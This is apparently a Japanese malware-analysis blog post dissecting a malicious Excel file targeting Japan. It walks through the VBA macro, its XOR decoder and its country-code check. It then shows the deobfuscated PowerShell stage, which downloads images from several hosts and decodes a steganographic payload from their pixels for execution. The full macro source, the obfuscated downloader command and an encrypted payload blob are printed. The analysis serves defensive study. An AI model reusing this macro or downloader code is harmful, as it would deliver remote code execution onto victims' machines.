■今回調査した検体
Filename : 20190124 D O C01280.XLS
SHA256 : ed6701b3be01b5529db4e8196fa6351aa859655ee4c01ea8f67cc8d781424811
https://www.virustotal.com/#/file/ed6701b3be01b5529db4e8196fa6351aa859655ee4c01ea8f67cc8d781424811/detection
■目標
通信先を特定することを目標にします。
■Let's try!
まずは、マクロ部分を抽出します。
抽出した結果が以下です。
Function poiit() poiit = "J7','AtOsww90TNJh77s6z7lkTheUI1Kn6yiK5uOkG3s1Q52eb7adNn94AIgxO2T7vVgZBfaA+5krsrU8f7u1SPBk6Aqko+6gy3zd1xvfsVhK2o3dBJcyILwfnx9jXz77t132xME7E3KRxRDDSLCBABD1fETr','ImP2DTDQCyFLh5K4w8T5qLRwbHbDnrZNmodochkxy/3fpbrsW/bo0mrWdjWnDusFsW','FV','Z1w5SkFI1OhXUvtgJk','CyxMc8gdF2/Upj73mgfEKdp36VK/bEXy/IHqCwIyhFO4dAzbqig9Q21+V1hrZvd53tb0DFaAa4tvbP7rVy58FUddzyr7eeb7GkOpQ4h0HjkC8evXgyCNImTOBlPVrd+kSyPPWnU3fMoCsbi/wnJX4zOD6','YwZ/rCNorKSa3tb0W9L6VZRzXmp2kKwi','mNphIGJpUC95jEM4kPONjAVzrpRBw3Vn+ZI0TdPEfDyqsx9K0Mn0uU/bgYx4+kuOYSpizHqJDoowR','s0Y','7/YlBhpwhpM/cJa','QE1hK2LV7C35B5E+TpQafNRsH8OXx3X4/hlHnrnHiXcCQULT/gpQoKeK+yFu0JCtzdLL','r7fusizdbxvmme1kxKW8094xtM/1E1ipfYAgwMpw9OTgzUNGIf1BlKw1ReB0sRglUPN6EvuhBvgGWCf14dmuZ','Sqj','VvXv5B80rhuGz52dxG+30+Zm7r+OS4I7LgQSBvDiTXNoNy7FYKya74SCd5yayWh6iV','p5XH69gTAWY1608F9','xRYJxNV/33tlSGi77e4HLGPde865Dz1obadoqsJUO6Q+q/KwulvNqwYZRmQgHuvD6','UrRXY/aeOYkiZ2','fMFO+oDPsBUTDSM','fCHB7VptEXM6xiGE','hKMOAeJqYhlLAcVltt7GWjroffQeeiE" End Function Function actallos() actallos = kille End Function Sub Workbook_Open() If digitt = 81 Then VisualSheet1 Else Application.Quit End Sub Sub VisualSheet1() Visiblec = Shell#(ArgumentConst, 900000000000# - 900000000000#) End Sub Function tegad() tegad = congamerat & "" End Function Function Smegll() Smegll = "bTBN4+Yh79','NG0NjP3U1UMB6JR/nklYk0TmeLWDcKGUrJ85','v+','E0XA14JAhY7yEkWIM','wUKc94RGqTka4i1LDHfM7VLnn5kjJ76','6xW+bueAsN8I8','RiJ/GDyCQ02nmWRG2ei8P90qVWKQIAsZRxWiksJnK0p7XqMII2100b0U2jUTtbpTLxM57OV9QJ7mKPi7DPY4jM27jTfuIJ5Pytsx2kc5GhKWiy2zZ4c+19zT0PZP0nwNpujfAksiQHjPEV')),[S" End Function Function PocedureA() PocedureA = "{5}{28}{17}{16}{27}{35}{9}{12}{37}{23}{32}{34}{1}{30}{33}{36}{25}{29}{38}{21}{19}{22}{26}{15}{7}{4}{6}{0}{10}{13}{14}{8}{20}{11}{24}{31}{18}{2}"" -f '+rT139/BZy7Ss5s9aOPN4v/cvVewNaV9ESbaChSB4BKD9Nwl7m2hNM2Zd5QJEBTOCM','Hh4gum2QvPmkgpgwiGd9ce+vet3qAFoT5Heqj5W5qoqZmPSrp1lOZhunC','ZVC8WZ1iF1z4WLqtyyCpQruDXbtq4IrvsT7rdhzI2IsVGt2ASa+rbWzm+zA/hUp8Veof','jVZrc9o4FP0rmgy74G4Qhryby','pcctDBjbfgAGUwUvRKxL+ekDhMIdW/lzLovoTjrQlntTHApOsLVsjJAu4E0dBTCdLrsPNepie6G7Ouw9LuHSgIGH','ewYQxLaAKmhbVomUwlbGKd+','Wc8zmdJFp0HMQ/bYeJ','UaCCm6wJuVtPM+s2xF7SRKF1Jc8nwOsUzZJ6k7a','rVYfRCHkgW8f49A1grvYutAqoSIBIrgsCSEUrGttU7SBkPSj','POkQULPljEPswdjJ4jFa5BM/TiSNmIXAESUw3ILevX18l3PsYyPk1z2TAQ4StlUo3yKiXVIVGBjB8CneRBRJFyaphkG8EdbdUKR1l1AcwtwgxyOFCInsuMxA1ub2tFC4bXqmzWil+/0V/caCKwzXd60YjAOfIX2TUTaIGvFP8MJcy1ZmDKLPWAw','3dsCMIm5i','Xfskz','znyYimEK','2pi3tiLpszgxQA3mFW9AtwTF4m8hx3+ovPQfpMwz2LgSJYtT9Ybb2v+xoStv5mqEqRj52uFTFHMMtbl4r+RFvSOI" End Function Function ExelMicrosoft(ByVal sData As String, ByVal dot As String) As String Dim i As Long, l As Long, byOut() As Byte, sIn() As String, byKey() As Byte sIn = Split(sData, ",") ReDim byOut(LBound(sIn) To UBound(sIn)) byKey = StrConv(dot, vbFromUnicode) l = LBound(byKey) For i = LBound(sIn) To UBound(sIn) Step 1 byOut(i) = Val(sIn(i)) Xor byKey(l) l = l + 1 If l > UBound(byKey) Then l = LBound(byKey) Next i ExelMicrosoft = StrConv(byOut, vbUnicode) End Function Function ArgumentConst() morrr = "" ArgumentConst = tegad & PocedureA & poiit & Smegll & morrr & actallos End Function Function digitt() digitt = Application.International(xlCountrySetting) End Function Function congamerat() congamerat = ExelMicrosoft("123,92,92,17,24,30,123,19,75,116,108,17,24,98,81,123,5,17,102,23,24,25,24,21,67,98,80,84,84,93,88,88,92,76,99,0,101,26,28,74,107,81,80,84,84,125,88,88,124,76,99,0,11,108,19,22,96,22,17,25,102,23,16,19,67,0,69,74,10,76,67,1,69,19,24,28,94,17,31,84,123,101,31,29,31,95,31,29,31,84,111,28,119,83,114,22,17,17,24,25,26,74,0,76,67,1,69,74,12,76,67,2,69,74,10,76,67,7,69,74,13,76,67,6,69,74,9,76,26,17,21,87,31,82,119,92,31,29,31,116,126,93,121,101,125,66,108,67,125,80,85,22,20,22,81,22,20,22,75,98,31,29,31,65,106,84,31,29,31,95,31,29,31,126,31,29,31,31,124,22,20,22,113,94,22,22,17,25,24,106,107,72,75,101,125,92,22,88,119,31,85,84,85,126,74,72,107,101,74,84,121,92,101,106,91,94,118,103,125,99,108,108,2,11,26,87,106,94,117,83,88,112,107,84,14,5,88,98,108,67,88,120,88,127,127,19,16,17,16,19,67,2,69", digitt) End Function Function kille() mormons = "65,98,108,84,117,31,81,94,22,114,87,92,104,99,125,98,75,120,87,127,22,114,87,92,104,67,125,98,75,88,119,127,85,126,92,84,101,11,2,19,92,81,125,114,88,94,85,65,88,99,93,98,107,19,17,111,68,17,22,25,26,74,8,76,67,0,69,19,24,28,94,22,126,126,74,22,20,22,125,112,123,89,31,24,67,17,102,23,16,19,67,1,69,74,9,76,67,3,69,19,24,28,94,22,86,22,20,22,93,22,20,22,111,28,119,83,114,84,123,101,31,24,24,17,16,19,67,5,69,74,10,76,67,4,69,74,9,76,67,1,69,74,11,76,26,28,94,17,31,116,31,29,31,99,125,112,92,22,20,22,108,116,117,31,81,22,20,22,106,22,20,22,107,72,75,22,20,22,119,31,75,101,106,116,121,92,31,24,16,21,67,110,69,17,20,17,99,69,125,73,108,31,93,95,123,126,92,88,118,118,101,11,2,19,121,81,107,82,113,88,26,24,24,76,17,31,26,99,93,80,124,81,108,81,87,84,118,117,26,25,24,24,30,23,107,116,108,17,24,17,83,85,93,123,5,97,87,102,125,67,75,121,125,93,116,17,21,102,113,95,24,121,81,117,92,116,86,17,24,28,118,94,104,67,119,87,24,28,125,105,93,17,24,115,97,65,121,98,107,17,24,28,118" kille = ExelMicrosoft(mormons + ",94,84,126,95,17,24,17,24,17,24,17,22,25,24,109,26,74,9,76,67,1,69,109,26,17,21,87,31,105,31,29,31,120,125,22,17,17,16,17,16,17,102,111,102,23,24,25,24,109,26,74,8,76,67,0,69,74,10,76,100,19,24,28,94,17,31,82,80,120,116,85,113,22,20,22,76,116,31,29,31,124,31,24,24,25,24,17,100,19,67,1,69,74,10,76,67,0,69,109,26,17,21,87,24,22,125,127,110,11,75,22,20,22,82,22,20,22,81,22,17,17,24,24,22,109,26,71,89,81,84,68,125,109,26,17,17,17,30,23,123,92,92,17,24,30,123,17,29,90,92,84,82,20,26", digitt) End Function
一通り確認すると
Sub VisualSheet1() Visiblec = Shell#(ArgumentConst, 900000000000# - 900000000000#) End Sub
でArgumentConst
を実行しようとしているのがわかるので、ArgumentConst
を調べます。
Function ArgumentConst() morrr = "" ArgumentConst = tegad & PocedureA & poiit & Smegll & morrr & actallos End Function
はい、いつも通りな感じ?でそれぞれの変数を連結してるようです。
例えばtegad
は以下のような感じ。
Function tegad() tegad = congamerat & "" End Function
tegad
にcongamerat & ""
を代入しているようです。
Function congamerat() congamerat = ExelMicrosoft("123,92,92,17,24,30,123,19,75,116,108,17,24,98,81,123,5,17,102,23,24,25,24,21,67,98,80,84,84,93,88,88,92,76,99,0,101,26,28,74,107,81,80,84,84,125,88,88,124,76,99,0,11,108,19,22,96,22,17,25,102,23,16,19,67,0,69,74,10,76,67,1,69,19,24,28,94,17,31,84,123,101,31,29,31,95,31,29,31,84,111,28,119,83,114,22,17,17,24,25,26,74,0,76,67,1,69,74,12,76,67,2,69,74,10,76,67,7,69,74,13,76,67,6,69,74,9,76,26,17,21,87,31,82,119,92,31,29,31,116,126,93,121,101,125,66,108,67,125,80,85,22,20,22,81,22,20,22,75,98,31,29,31,65,106,84,31,29,31,95,31,29,31,126,31,29,31,31,124,22,20,22,113,94,22,22,17,25,24,106,107,72,75,101,125,92,22,88,119,31,85,84,85,126,74,72,107,101,74,84,121,92,101,106,91,94,118,103,125,99,108,108,2,11,26,87,106,94,117,83,88,112,107,84,14,5,88,98,108,67,88,120,88,127,127,19,16,17,16,19,67,2,69", digitt) End Function
congamerat
に代入する際に、独自の関数ExelMicrosoft
とdigitt
を呼んでいるようで、
ExelMicrosoft
については、与えられた値をxorでデコードして返してるっぽいです。
Function ExelMicrosoft(ByVal sData As String, ByVal dot As String) As String Dim i As Long, l As Long, byOut() As Byte, sIn() As String, byKey() As Byte sIn = Split(sData, ",") ReDim byOut(LBound(sIn) To UBound(sIn)) byKey = StrConv(dot, vbFromUnicode) l = LBound(byKey) For i = LBound(sIn) To UBound(sIn) Step 1 byOut(i) = Val(sIn(i)) Xor byKey(l) l = l + 1 If l > UBound(byKey) Then l = LBound(byKey) Next i ExelMicrosoft = StrConv(byOut, vbUnicode) End Function
digitt
については、国コードが81かをチェックしていて、81だったら悪性動作を続けるようです。
81は日本なので、日本をターゲットとしたばらまきなのでしょう。
海外のサンドボックスでpsが動作しないのはこのためです。
Sub Workbook_Open() If digitt = 81 Then VisualSheet1 Else Application.Quit End Sub Function digitt() digitt = Application.International(xlCountrySetting) End Function
んで、話を戻しますが、日本の環境で実行された場合は、congamerat
に以下のコードが返されます。
Cmd /C"sET SiJ= ^& ( ${Shell`id}[1]+${S`helL`iD}[13]+'X')(^&("{1}{2}{0}" -f 'eCT','n','eW-ObJ') ("{8}{0}{4}{3}{2}{6}{5}{7}{1}" -f'cOm','EFlATEsTrEam','i','sS','pRe','n','O','.D','Io.')( [SysTEm.iO.memOrySTreAm][coNVERT]::"fRoMb`ASe64`STr`I`NG"( ("{3}
そんでもって、tegad = congamerat & ""
でtegad
に代入され、実行コマンドのひとつとなりますね。
それ以外の変数についても、同じように独自の関数でデコードされたり、そのまま代入されているので、ばーっとまとめちゃうと以下になります。
Cmd /C"sET SiJ= ^& ( ${Shell`id}[1]+${S`helL`iD}[13]+'X')(^&("{1}{2}{0}" -f 'eCT','n','eW-ObJ') ("{8}{0}{4}{3}{2}{6}{5}{7}{1}" -f'cOm','EFlATEsTrEam','i','sS','pRe','n','O','.D','Io.')( [SysTEm.iO.memOrySTreAm][coNVERT]::"fRoMb`ASe64`STr`I`NG"( ("{3}{5}{28}{17}{16}{27}{35}{9}{12}{37}{23}{32}{34}{1}{30}{33}{36}{25}{29}{38}{21}{19}{22}{26}{15}{7}{4}{6}{0}{10}{13}{14}{8}{20}{11}{24}{31}{18}{2}" -f '+rT139/BZy7Ss5s9aOPN4v/cvVewNaV9ESbaChSB4BKD9Nwl7m2hNM2Zd5QJEBTOCM','Hh4gum2QvPmkgpgwiGd9ce+vet3qAFoT5Heqj5W5qoqZmPSrp1lOZhunC','ZVC8WZ1iF1z4WLqtyyCpQruDXbtq4IrvsT7rdhzI2IsVGt2ASa+rbWzm+zA/hUp8Veof','jVZrc9o4FP0rmgy74G4Qhryby','pcctDBjbfgAGUwUvRKxL+ekDhMIdW/lzLovoTjrQlntTHApOsLVsjJAu4E0dBTCdLrsPNepie6G7Ouw9LuHSgIGH','ewYQxLaAKmhbVomUwlbGKd+','Wc8zmdJFp0HMQ/bYeJ','UaCCm6wJuVtPM+s2xF7SRKF1Jc8nwOsUzZJ6k7a','rVYfRCHkgW8f49A1grvYutAqoSIBIrgsCSEUrGttU7SBkPSj','POkQULPljEPswdjJ4jFa5BM/TiSNmIXAESUw3ILevX18l3PsYyPk1z2TAQ4StlUo3yKiXVIVGBjB8CneRBRJFyaphkG8EdbdUKR1l1AcwtwgxyOFCInsuMxA1ub2tFC4bXqmzWil+/0V/caCKwzXd60YjAOfIX2TUTaIGvFP8MJcy1ZmDKLPWAw','3dsCMIm5i','Xfskz','znyYimEK','2pi3tiLpszgxQA3mFW9AtwTF4m8hx3+ovPQfpMwz2LgSJYtT9Ybb2v+xoStv5mqEqRj52uFTFHMMtbl4r+RFvSOIJ7','AtOsww90TNJh77s6z7lkTheUI1Kn6yiK5uOkG3s1Q52eb7adNn94AIgxO2T7vVgZBfaA+5krsrU8f7u1SPBk6Aqko+6gy3zd1xvfsVhK2o3dBJcyILwfnx9jXz77t132xME7E3KRxRDDSLCBABD1fETr','ImP2DTDQCyFLh5K4w8T5qLRwbHbDnrZNmodochkxy/3fpbrsW/bo0mrWdjWnDusFsW','FV','Z1w5SkFI1OhXUvtgJk','CyxMc8gdF2/Upj73mgfEKdp36VK/bEXy/IHqCwIyhFO4dAzbqig9Q21+V1hrZvd53tb0DFaAa4tvbP7rVy58FUddzyr7eeb7GkOpQ4h0HjkC8evXgyCNImTOBlPVrd+kSyPPWnU3fMoCsbi/wnJX4zOD6','YwZ/rCNorKSa3tb0W9L6VZRzXmp2kKwi','mNphIGJpUC95jEM4kPONjAVzrpRBw3Vn+ZI0TdPEfDyqsx9K0Mn0uU/bgYx4+kuOYSpizHqJDoowR','s0Y','7/YlBhpwhpM/cJa','QE1hK2LV7C35B5E+TpQafNRsH8OXx3X4/hlHnrnHiXcCQULT/gpQoKeK+yFu0JCtzdLL','r7fusizdbxvmme1kxKW8094xtM/1E1ipfYAgwMpw9OTgzUNGIf1BlKw1ReB0sRglUPN6EvuhBvgGWCf14dmuZ','Sqj','VvXv5B80rhuGz52dxG+30+Zm7r+OS4I7LgQSBvDiTXNoNy7FYKya74SCd5yayWh6iV','p5XH69gTAWY1608F9','xRYJxNV/33tlSGi77e4HLGPde865Dz1obadoqsJUO6Q+q/KwulvNqwYZRmQgHuvD6','UrRXY/aeOYkiZ2','fMFO+oDPsBUTDSM','fCHB7VptEXM6xiGE','hKMOAeJqYhlLAcVltt7GWjroffQeeiEbTBN4+Yh79','NG0NjP3U1UMB6JR/nklYk0TmeLWDcKGUrJ85','v+','E0XA14JAhY7yEkWIM','wUKc94RGqTka4i1LDHfM7VLnn5kjJ76','6xW+bueAsN8I8','RiJ/GDyCQ02nmWRG2ei8P90qVWKQIAsZRxWiksJnK0p7XqMII2100b0U2jUTtbpTLxM57OV9QJ7mKPi7DPY4jM27jTfuIJ5Pytsx2kc5GhKWiy2zZ4c+19zT0PZP0nwNpujfAksiQHjPEV')),[SySTeM.io.ComPRESsIoN.ComPrESsiONmOde]::"d`EC`omp`ReSS")^| .("{0}{1}" -f'FOr','EACh'){ ^&("{0}{1}{2}" -f'n','e','W-ObJeCT') ("{4}{2}{5}{1}{0}{3}"-f 'E','REAd','TEM.i','R','Sys','O.sTREAm')(${_} , [tExT.enCOdiNG]::"A`ScIi") })."ReaD`T`oeND"( )&&SET kdeJ=PoWErsHElL -WIn HiDdEn -NoPrOf -EXe BYpASS -NolOg .( \"{1}{0}\" -f'X','IE') ( ( ^^^& ( \"{0}{1}{2}\" -f 'chILdI','tE','M') ( \"{0}{2}{1}\" -f 'ENV:s','j','i') ).\"va`luE\" ) &&Cmd /C %kdej%"
ずいぶんと難読化されていますが、書いてることをやればある程度戻せるので(と思っている)、とりあえずがちゃがちゃしてるところをデコードしてみます。
アナグラムっぽいことをしたあとbase64でデコードしてDeflateしたのが以下です。
.("{1}{0}" -f'al','s') Om New-Object;.("{0}{1}{2}"-f'A','dd-Ty','pe') -AssemblyName ("{3}{0}{2}{1}"-f'm.','awing','Dr','Syste');[Reflection.Assembly]::LoadWithPartialName*1 | .("{2}{0}{1}"-f'-N','ull','Out');[string]${c`OL}=(("{3}{4}{0}{2}{1}{5}{6}" -f '://i','mgur.com/','.i','http','s','ar2v','FoS.png'),("{0}{8}{2}{1}{5}{3}{7}{6}{4}" -f 'http','2','imgbox.com/f1/5','wQ4Mn','ng','/9dG','o.p','_','s://images2.'),("{1}{3}{9}{7}{6}{0}{2}{4}{10}{11}{5}{8}" -f'c/','https','wgR','://i.po','Wy','g?','c','g.','dl=1','stim','QPd/','MAIN2.pn'),("{0}{6}{3}{2}{5}{1}{4}{7}" -f'http','06pucz','age.fr','m','5','l/i/4sc','s://i','7ewtzd.png'));function Ottass {param ([String]${I`gaa}, [String]${p`Cxc})${ByT`U`Ro} = [Convert]::FromBase64String(${i`gaA});${A`es} = .('Om') System.Security.Cryptography.RijndaelManaged;${A`es}.Mode = [System.Security.Cryptography.CipherMode]::CBC;${a`es}.Padding = [System.Security.Cryptography.PaddingMode]::zeros;${TL`AS} = &('Om') Byte(32);[Array]::Copy(${BY`T`URO}, 0, ${TL`As}, 0, 32);${Rc`xZ0} = &('Om') System.Security.Cryptography.Rfc2898DeriveBytes(${PC`xc},${t`LaS});${x`A2d} = ${r`CXZ0}.GetBytes(32);${D`eFS} = ${RC`X`z0}.GetBytes(16);${Hm`Ac} = .('Om') System.Security.Cryptography.HMACSHA1(,${r`C`xZ0}.GetBytes(20));${eED`er} = ${hM`AC}.ComputeHash(${b`YtU`Ro}, 52, ${B`Yt`URo}.Length - 52);${qAs`Aq} = ${a`Es}.CreateDecryptor(${X`A2D}, ${DE`Fs});${mjO`kO} = ${q`ASAq}.TransformFinalBlock(${ByT`U`RO}, 52, ${bY`T`URo}.Length - 52);${a`daMI} = &('Om') System.IO.MemoryStream(${MJo`Ko}, ${f`ALse});if (${Mj`OkO}[0] -eq 0x1f) {${aD`AmI} = &('Om') System.IO.Compression.GZipStream(${adA`MI}, [IO.Compression.CompressionMode]::Decompress)}${sTREAm`Re`Ad`er} = .('Om') System.IO.StreamReader(${a`daMi}, ${tR`UE});${st`RE`AmRe`ADER}.ReadToEnd()};Function Bavv(${T`6`4In}){${b`cZa} = [System.Convert]::FromBase64String(${t6`4`In});${SENE`gS} = [System.Text.Encoding]::UTF8.GetString(${Bc`za});return ${Se`NegS}}.("{0}{1}" -f's','al') a New-Object;foreach(${U`Rl} in ${c`ol}){if *2;${j`Y}=&('Om') Byte[] 128400;(0..213)|&('%'){foreach(${i} in(0..599)){${S`V}=${w}.GetPixel(${I},${_});${J`Y}[${_}*600+${i}]=([math]::Floor*3}};${eN`SEeV} =[System.Text.Encoding]::ASCII.GetString(${jY}[0..128347]);${m`imEdR} = .("{0}{1}"-f 'Ot','tass') -Igaa ${eNs`eeV} -Pcxc (&("{0}{1}{2}" -f 'Get-Cu','ltu','re')).Name;${c`Gg}=.("{1}{0}" -f 'avv','B')(${MI`M`EDR});.("{1}{0}"-f 'X','IE')(${C`gg});break}}
とりあえず通信先がわかりました
hxxps://i.imgur[.]com/ar2vFoS.png hxxps://images2[.]imgbox[.]com/f1/52/9dGwQ4Mn_o.png hxxps://i[.]postimg[.]cc/wgRWyQPd/MAIN2.png?dl=1 hxxps://image[.]frl/i/4sc06pucz57ewtzd.png
ここでは以下の画像が取得されていたようです。
そして、取得した画像ファイルから新たにコードを抽出しているようです。
foreach(${U`Rl} in ${c`ol}){ if ((&('Om') Net.WebClient).downloadstring(${u`RL}).length -gt 1000){ ${w}=.('Om') System.Drawing.Bitmap((&('Om') Net.WebClient).OpenRead(${u`Rl})); ${j`Y}=&('Om') Byte[] 128400; (0..213)|&('%'){foreach(${i} in(0..599)){${S`V}=${w}.GetPixel(${I},${_}); ${J`Y}[${_}*600+${i}]=([math]::Floor((${sv}.B-band15)*16)-bor(${Sv}.G -band 15)) } };
抽出されたコードは、上述で用意されてる関数で色々処理されながら、以下の部分で実行されます。
${eN`SEeV} =[System.Text.Encoding]::ASCII.GetString(${jY}[0..128347]); ${m`imEdR} = .("{0}{1}"-f 'Ot','tass') -Igaa ${eNs`eeV} -Pcxc (&("{0}{1}{2}" -f 'Get-Cu','ltu','re')).Name; ${c`Gg}=.("{1}{0}" -f 'avv','B')(${MI`M`EDR}); .("{1}{0}"-f 'X','IE')(${C`gg});break}}
実行されるコードは以下(あまりにも長すぎる・・・)
$MmTT='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